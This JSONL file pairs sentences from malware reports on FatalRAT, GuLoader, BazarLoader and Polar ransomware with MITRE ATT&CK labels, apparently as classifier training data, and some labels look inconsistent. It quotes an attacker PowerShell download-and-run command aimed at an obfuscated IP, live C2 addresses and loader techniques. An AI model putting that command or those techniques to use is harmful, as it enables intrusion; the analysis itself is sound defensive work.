{"sentence": "Embedded PayloadsThe Micr.jpg file contains shellcode and an embedded DLL file that loads FatalRAT.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1553.002Subvert Trust Controls: Code SigningThe attackers have used self-signed certificates to sign their malicious MSI files.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "CollectionT1056.001Input Capture: KeyloggingFatalRAT has keylogger functionalities.", "labels": ["T1056.001"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "T1119Automated CollectionFatalRAT automatically collects information from a compromised machine and sends it to the C&C server. Command and ControlT1573.001Encrypted Channel:", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "ExfiltrationT1020Automated ExfiltrationFatalRAT automatically sends information from a compromised machine to its C&C. T1041Exfiltration Over C2 ChannelFatalRAT exfiltrates data over the same channel used for C&C. 16 Feb 2023 - 11:30AM", "labels": ["T1041"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Financial accountant firms and CPAs are in the crosshairs this tax season, as a threat actor is targeting that industry with an attack that combines social engineering with a novel exploit against Windows computers to deliver malware called GuLoader.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "At least two organizations in that industry, both Sophos customers, reported the unusual attack to us in late February and early March, as tax preparers are entering the busiest part of the season in the United States.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "(The tax filing deadline this year is April 17, 2023.)", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The attack begins with an email that purports to solicit business from the tax preparation firm.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The initial message to the target is benign, with a subject line of Prospective Client Enquiries containing nothing more than an introduction and a request for information about “onboarding new clients.”", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The email sender goes on to claim that “The CPA I used last year is retired, so here I am on the lookout for a new firm to work with.”", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Responding to the hook with a bigger hook If the target responds to this initial solicitation, the sender then sends a follow-up email with a link to a password-protected Zip file hosted on a cloud storage service.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The Zip archive has a filename that includes the last name of the fictitious person whose purportedly sent the initial email message.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "In each of the messages we saw targeting different accounting firms, the attacker used different names, such as Rodney Williamson or Sarah Knapp.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Because the attacker only sends the link to a CPA who responds to the initial email message, very few of them were caught in spam traps.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The samples we obtained had been submitted to us only after the targets realized they were being attacked.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The attacker also asks the target “Would you be available for a quick telephone call on Friday?”", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Whoever crafted the messages has a good grasp of English-language euphemisms and tax-filing vernacular.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "These messages, with a few very minor spelling or grammar errors, were very hard to discern from ones that might be sent by a legitimate, prospective client of a tax firm.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "If the first stage of the process involves convincing the accounting professional to download and open the linked Zip archive, the next phase is completely out of the tax preparer’s control.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The Zip archive contains two files: A Windows Shortcut (a .LNK file), and a benign decoy attachment.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "In the examples we received, one Zip contained a benign file named screenshot1242.jpeg and another contained a file named privatecopy.pdf.", "labels": ["T1027"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Both of these files were the same three minute long MP3 audio recording – a file that sounds like someone playing an Oud, the stringed instrument similar to a lute used widely in the middle east.", "labels": ["T1027"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Adobe Reader or a photo viewing program can’t open the file.", "labels": ["T1204.002"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The target would then, naturally, double click the other file in the Zip archive — a Windows Shortcut (.LNK file) labeled with a PDF file suffix and with an icon that makes it appear to be a PDF document.", "labels": ["T1204.002"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Unusually, the Windows shortcut has been manipulated in such a way that Windows seems to think that it is a VBScript Script File in the shortcut’s properties sheet.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The action taken by the shortcut is rendered not visible in the Properties sheet, either, in what appears to be a novel, malicious use of an exploit first publicly disclosed a year ago in a blog post by researcher @x86matthew, who works for the UK-based offensive security research company MDSec.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "It contains a PowerShell command that looks like the following: Invoke-WebRequest http://0x[two hex bytes].[eight digits]/fresh/fordl.vbs -OutFile", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "C:\\Windows\\Tasks\\[eight letters].vbs The shortcut command pulls down a Visual Basic script, drops it into the C:\\Windows\\Tasks folder, and executes it.", "labels": ["T1105"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "A second command appended to the first drops an actual PDF document (of someone’s IRS form W-2, 1099, or 1040) into the same location and opens it as well, as a decoy.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The crafting of the URL was somewhat unique.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The attacker seems to have made a mashup of two different formats of so-called “dotless” IP address (an unusual combo of the hex and “dword” types of dotless IPs) into a combination that isn’t human-readable, but that networked applications like PowerShell can understand and interpret as valid IPv4 addresses.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The script shown above uses the address 0xC2.11808979 in the URL, which translates to the IPv4 address 194.180.48.211.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "We also discovered scripts that pointed to malicious files hosted on the addresses 0x6D.13561923 (109.206.240.67) and 0x05.526436 (5.8.8.100).", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "All of the servers hosting the malware hosted them inside of open directories.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "We found 29 different varieties of the VBS and 90 other encrypted and unencrypted payloads hosted in these locations.", "labels": ["T1027"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "There may be others.", "labels": ["T1027"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "A heavily obfuscated VBS", "labels": ["T1027"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The initial infector is a Visual Basic script, heavily obfuscated, and very large at more than 200KB in size.", "labels": ["T1027"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "These work in tandem to insert data into the Windows Registry and execute PowerShell commands.", "labels": ["T1112", "T1140"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The PowerShell script decoded from the Ir8 variable uses Reflection.", "labels": ["T1140"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Assembly to load the final payload into memory from a Registry value without writing it to disk.", "labels": ["T1112", "T1140"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "And the content loaded out of the Registry?", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The concatenated segments of base64 data from O7 get inserted into the Registry, for the Ir8 script to decode.", "labels": ["T1027", "T1112", "T1140"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Post-infection, the machine will have an instance of an otherwise benign Windows binary running.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The malware makes several other changes to Windows settings during the infection process.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "It creates a User-level Environment Variable (in our test case, this was called SaltoQ), which points at the full path to the PowerShell executable on the system.", "labels": ["T1547.001"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "It created a Run key in the Registry named Overproduce that invokes the SaltoQ variable to run a PowerShell command at every reboot.", "labels": ["T1547.001"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "And that Run key references a different Registry key, in HKEY_CURRENT_USER\\Cloglike that contains a portion of the same Visual Basic Script code that was in the original .vbs payload the malware downloads during the infection process.", "labels": ["T1547.001"], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "During our attempts to infect machines with the malware, that C2 server failed to respond.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "However, we did infect a test machine with other samples from this attack, and some of those were successful at connecting to C2 servers at 84.21.172.49:1040 (ironic port number!)", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Both of those C2s were live as of publication of this blog.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "We also detected the infected computer repeatedly attempting to resolve the address of the domain newmansubzero.com, which is the 64.44.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Guidance and detection Tax preparers and accountants are extremely busy at the best of times, but during US tax season, which culminates in mid-April, they are the busiest they will be all year.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Harried CPAs from firms of all sizes must be wary that they are targets for criminals who would love nothing more than the sensitive financial data they receive in abundance at this time of year.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The attack method in this case takes advantage of the frenetic pace of tax season and uses a social engineering tactic to smooth the way for the malware to be delivered via email.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Ask them if they will speak to you on the phone directly, who referred them to you, and if they’d be willing to come in for an in-person evaluation.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "When the Zip file is password protected, it can make the contents un-scannable by endpoint security tools.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The PDF icon used for the Shortcut in the attack is also distinctive and unique.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "The icon, which doesn’t resemble the icon used by any known PDF reader application, looks like an icon for a plain text document wrapped in a red bar with the white letters PDF inside.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "It’s also notable that the icon does have the little arrow in the bottom left corner that indicates it is a Shortcut, and not a document.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "It’s possible a busy accountant may not notice that detail.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Hovering the mouse pointer over the Shortcut icon causes the malicious shortcut to display the information pushed into the Comment field, which makes it appear that the document is in fact a PDF when it is not.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "If you still suspect things are not as they should be, ask the potential customer to call you on the phone before you open the files.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Sophos products detect various aspects of the attack quite comprehensively: Endpoint will detect the shortcut file as Troj/LnkObf-T or Mal/DownLnk-D and the VBS payload of the shortcut as VBS/Inject-IPG.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Some payload samples may be detected as Behaviorally, it detects the injection techniques used by the attackers as Evade_34a or Evade_34b.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "GuLoader code in memory also will be detected as Mem/Guload-A. Our network security products will block communication to the IP addresses used to host the payloads and the C2 addresses.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Indicators of compromise relating to this attacker and their tooling are hosted on the Sophos X-Ops Github.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "Acknowledgments Sophos X-Ops wishes to acknowledge the contributions of Colin Cowie and Benjamin Sollman of the MDR intelligence team, Sivagnanam Gn, Anand Ajjan, and Anisha Kumar of SophosLabs, and Sales Engineer Matthew Haltom to our understanding of this threat and its impacts.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"}
{"sentence": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign by Lilly Chalupowski | Feb 1, 2021 Our Inbox Detection and Response (IDR) team has observed a new BazarLoader campaign targeting the information technology, aeronautic and financial industries.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The IDR team has successfully blocked over 550 thousand BazarLoader malspam emails throughout this campaign alone.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The initial infection vector, which has been observed by our Inbox Detection and Response Team (IDR), is via malspam containing fake employment termination notices and anonymous surveys.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The threat actor(s) primarily use Google Drive and Google Docs to distribute their malicious payloads.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The employment termination malspam was observed on October 6, 2020 and the anonymous survey malspam was observed on October 8, 2020.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "This can be seen in Figure 1 and Figure 2. Figure 1: BazarLoader Employment Termination Malspam Figure 2: BazarLoader Fake Anonymous Survey We will firstly analyze the employment termination malspam.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Once the user clicks the link, they will be redirected tohxxps://docs[.]google[.]com/document/d/e/2PACX-1vR_9tGGWDcS1ZyIuiGpMQg2Sv9nRWempyUKuQ1iyJp_HHt1C87OPirnO7EImnOW6ILbrmHXUpl_OIxQ/pub to download an executable.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "An example of this can be seen in Figure 4. Figure 4: YUVPlayer Dialog Embedded Resource Once executed, the legitimate application or dialogs will not be shown to the user.", "labels": ["T1027"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Instead, it will call advapi32.CryptHashData using the string s_)q03vcOm95^+Rj3dG_Jx@k0GGwYOIddH_14025b520 as the data to create a hash using the PROV_RSA_FULL Windows cryptographic provider.", "labels": ["T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Once the hash is created, it will create a key using advapi32.CryptDeriveKey.", "labels": ["T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "It will then obtain a handle to the current process for the purpose of allocating memory with PAGE_EXECUTE_READWRITE permissions.", "labels": ["T1055"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Once the shellcode has been successfully decrypted, it will execute the shellcode.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Figure 5: BazarLoader Shellcode Decryption Routine Figure 6: Executing Stage 1 Decrypted Shellcode", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The shellcode will obtain a handle to kernel32.LoadLibraryA, kernel32.GetProcAddress, kernel32.VirtualAlloc, kernel32.VirtualProtect and ntdll.", "labels": ["T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "ZwFlushInstructionCache, by enumerating the Process Environment Block (PEB) using the instruction mov rax,qword ptr gs: [60].", "labels": ["T1057", "T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "This is common with shellcode as it will need to resolve these APIs dynamically to interact with the Windows operating system.", "labels": ["T1027"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Once completed, it will then call kernel32.VirtualALloc to prepare injecting a PE executable for the next stage.", "labels": ["T1055", "T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "To build the PE header, it will use the routine shown in Figure 7. Figure 7: Prepare Stage 2 PE Once PE header has been partially copied (excluding MZ magic value), it will start to copy the .text section using the routine shown in Figure 8. Figure 8: Copy .text", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Section Once the .text section is copied, it will start resolving many different Windows APIs using kernel32.GetProcAddress.", "labels": ["T1027"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "When the additional APIs have been resolved, it will then make the .text section it copied earlier executable using kernel32.VirtualProtect, as seen in Figure 9. Figure 9: Make .text Section Executable NOTE:", "labels": ["T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Interestingly, the Portable Executable (PE) BazarLoader is copied into memory (without the MZ header) and will start execution at the end of the .text section using a direct call.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "This can make unpacking the next stage confusing for reverse engineers as this is not where code in a PE file is supposed to begin.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "This code at the end of the .text section is solely responsible for making a call to the real Original Entrypoint (OEP) of the PE.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "It is important to note that this is simply used as shellcode and not as a PE in memory.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The other benefit of this technique is no calls to thread related APIs are required, making it more challenging for Endpoint Detection and Response (EDR) solutions to detect.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "This can be seen in Figure 10. Figure 10: OEP Shellcode/PE Trickery After the previous trickery in the new memory space, it will start creating another PE in memory, but this time the header does start with the MZ magic value.", "labels": ["T1055"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Building .text Section for Stage 2 Once the PE has been extracted to memory, it will make a direct call instead of using Threading APIs (same trickery as before).", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "This can be seen in Figure 12.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Figure 12: Calling Stage 2 Shellcode BazarLoader’s stage 2 shellcode will make use of encrypted stack strings for many purposes throughout the rest of its code.", "labels": ["T1027"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Before it continues with its malicious activity, it will check if the locale is Armenian (0x2b).", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Interestingly, instead of shutting down gracefully when the Armenian locale is detected, it will execute a jmp instruction to an invalid address, causing an access violation exception.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "We have seen Russian crimeware checking for the Armenian keyboard layout previously in malware such as KPot, we hypothesize this could be similar behavior.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "To avoid running more than one instance of itself, BazarLoader will create a mutex with a hard-coded UUID, then use kernel32.GetLastError to check for the error ERROR_ALREADY_EXISTS.", "labels": ["T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "If the mutex already exists, it will exit the process.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Once completed, it will decyrpt its C2 configuration, as seen in Figure 14. Figure 14: BazarLoader Stage 2 Decrypted Downloader Config", "labels": ["T1140"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Once BazarLoader has determined the Armenian language is not being used and another instance of itself is not running, it will make a HTTP HEAD request to hxxps://titlecs[.]com.", "labels": ["T1071.001"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "It will continue to do this until it receives a 200 response from the C2 server.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The first request will be sent using wininet.", "labels": ["T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "HttpSendRequestA, as seen in Figure 15. Figure 15: HTTP HEAD Request", "labels": ["T1106"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "It is important to note that the HTTP header Update is not a standard header and can be considered anomalous.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "This HEAD request can be seen in Figure 16.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The C2 server will respond with a 200 OK message.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "BazarLoader will also check if it is connected to the internet by making a request to microsoft[.]com, as seen in Figure 17. Figure 17: BazarLoader Internet Connectivity Check Once completed, it will make a POST request to the second domain in its configuration, as seen in Figure 18. Figure 18: BazarLoader C2 Checkin Once completed, it will make a HTTP GET request in order to obtain the next stage, as seen in Figure 19. Figure 19:", "labels": ["T1071.001", "T1078"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "The main difference between the two versions is the malware author(s) now include the string Stupid Defender to mock researchers, the shellcode that was stored in the .data section is now stored in the .rsc section, the functionality to get a pointer to the encrypted shellcode and to decrypt it have been broken out into their own separate functions.", "labels": ["T1027", "T1140"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Encrypted Shellcode in Resource Section BazarLoader is becoming increasingly popular amongst threat actors.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "We suspect the reason behind the malware developer(s) success is their use of techniques such as avoiding the use of threading APIs and faking PE injection, when in reality, it is simply shellcode injection.", "labels": ["T1055"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "These techniques are likely used to confuse Endpoint Detection and Response (EDR) solutions.", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "Indicator Description hxxps://titlecs[.]com/issues/284 BazarLoader Encrypted Payload URL hxxps://titlecs[.]com/issues/282 BazarLoader Encrypted Payload URL hxxp://ds46x1[.]com/1/run BazarLoader Encrypted Payload URL labelcs[.]com BazarLoader C2 Domain (Employment Termination Malspam)", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "mixcinc[.]com BazarLoader C2 Domain (Employment Termination Malspam)", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "nicknamec[.]com BazarLoader C2 Domain (Employment Termination Malspam) 3c27fca6d9cf1379eee93e6fea339e61 BazarLoader Shellcode Injector (Preview15-10.exe) 3ee60e0efeb5b349a5ba7325ce4a33dc BazarLoader Shellcode Injector (Document2-85.exe) hxxps://docs[.]google[.]com/document/d/e/2PACX- 1vR_9tGGWDcS1ZyIuiGpMQg2Sv9nRWempyUKuQ1iyJp_HHt1C87OPirnO7EImnOW6ILbrmHXUpl_OIxQ/p Employment Termination Malspam Payload URL hxxps://docs[.]google[.]com/document/d/e/2PACX- 1vQ7wK9C0fLCwS3voYLhGz3Gmy6g4UMKe_xZ1ds8xv7LonpviJBXefG9rBZuMPkmtytDYe_5rbDztBnK/pub Survey Malspam Payload URL ds45x1[.]com BazarLoader C2 Domain (Survey Malspam) ds46x1[.]com BazarLoader C2 Domain (Survey Malspam) ds47x1[.]com BazarLoader C2 Domain (Survey Malspam) marcene[.]jack[at]peytoneley[.]com BazarLoader Malspam Email shannon[.]ong35[at]myhunter[.]cuny[.]edu BazarLoader Malspam BazarLoader Malspam Email bessie[.]wilson[at]griply[.]com BazarLoader Malspam Email Lilly Chalupowski Paul Neuman", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"}
{"sentence": "In late April 2020, a client invited the CSIRT incident response team at the Positive Technologies Expert Security Center (PT ESC) to investigate a network compromise that resulted in encryption of files on servers and employee workstations.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "However, what we found was different: this intrusion was the work of a well-known Asian APT group implicated in cyberespionage against government targets.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The initial successful compromise had taken place two years prior.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Ultimately, we succeeded in bringing the infrastructure back to a secure condition and reversing the damage that had been done.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Sequence of events Mass encryption of files on the client's infrastructure and a ransom demand formed the starting point of the investigation.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Retrospective analysis showed that the client's infrastructure had been compromised not three or four days before (or even a few hours before, as often happens in mass attacks), but in early 2018.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "What's more, the initial infection was of a foreign office of the client.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Then a subsequent breach of the head office back home.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The attackers used NBTScan for network reconnaissance and PsExec for lateral movement.", "labels": ["T1016", "T1569.002"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "They obtained credentials for pivoting with Mimikatz.", "labels": ["T1078"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "In some cases, we were able to detect memory dumps of the lsass process that had been archived and uploaded.", "labels": ["T1003.001", "T1027", "T1041"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Another method was to scan hosts for so-called Eternal* SMB vulnerabilities with SMBTouch and then, where possible, run the EternalBlue exploit and infect the computer.", "labels": ["T1210"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "One unexpected result of the compromise was cryptocurrency mining at both the foreign office and headquarters.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Such activity remained unnoticed for one and a half years.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "During this time the attackers only maintained their access abilities by periodically obtaining new accounts or building tunnel chains.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Our belief is that by early 2020, the attackers had lost their access (for reasons unknown to us).", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "We can see use of web shells on the foreign office's servers on February 9, 2020.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Subsequent actions were very similar to what had happened two years earlier.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "By using the tools already described, the attackers obtained the credentials of a domain administration at headquarters.", "labels": ["T1078"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This time, they deleted OS logs and stopped Shadow Copy services, complicating subsequent incident analysis.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "For the finale, on April 29, 2020, the account of the compromised domain admin was used to push Polar ransomware to computers and run it, encrypting user files and demanding a ransom.", "labels": ["T1078", "T1105"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "While our specialists were assisting the client in May 2020, the attackers made yet another attempt to regain control of infrastructure with the help of web shells that were still in place on the network of the headquarters and office, but this time to no success.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "CSIRT's objectives included recovering the client's data, which included key information belonging to different departments.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "We performed analysis of the encryption malware and were able to recover the lost files.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Polar ransomware", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Three files are sent to the victim's computer:", "labels": ["T1105"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "GameuxInstallHelper.dll (MD5: 1fd8402275d42e7389f0d28b9537db0f) is a .NET DLL library (compiled on April 29, 2020) imported when GDFInstall.exe is run.", "labels": ["T1036.005"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The file c:\\programdata\\Sysurl.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Hex, if absent) and then simple XOR decrypted with key ABCSCDFRWFFSDJJHGYUOIj.", "labels": ["T1140"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The result is decoded with Base64, yielding a PE file that is loaded and run in memory with .NET.", "labels": ["T1027", "T1140"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The payload and intermediate library are deleted before completion.", "labels": ["T1070.004"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Deletion occurs in the standard (insecure) way, which enables recovering the data if disk access is stopped in time and the information has not been overwritten.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Sysurl.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Hex is an encrypted copy of the Polar ransomware.", "labels": ["T1027"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
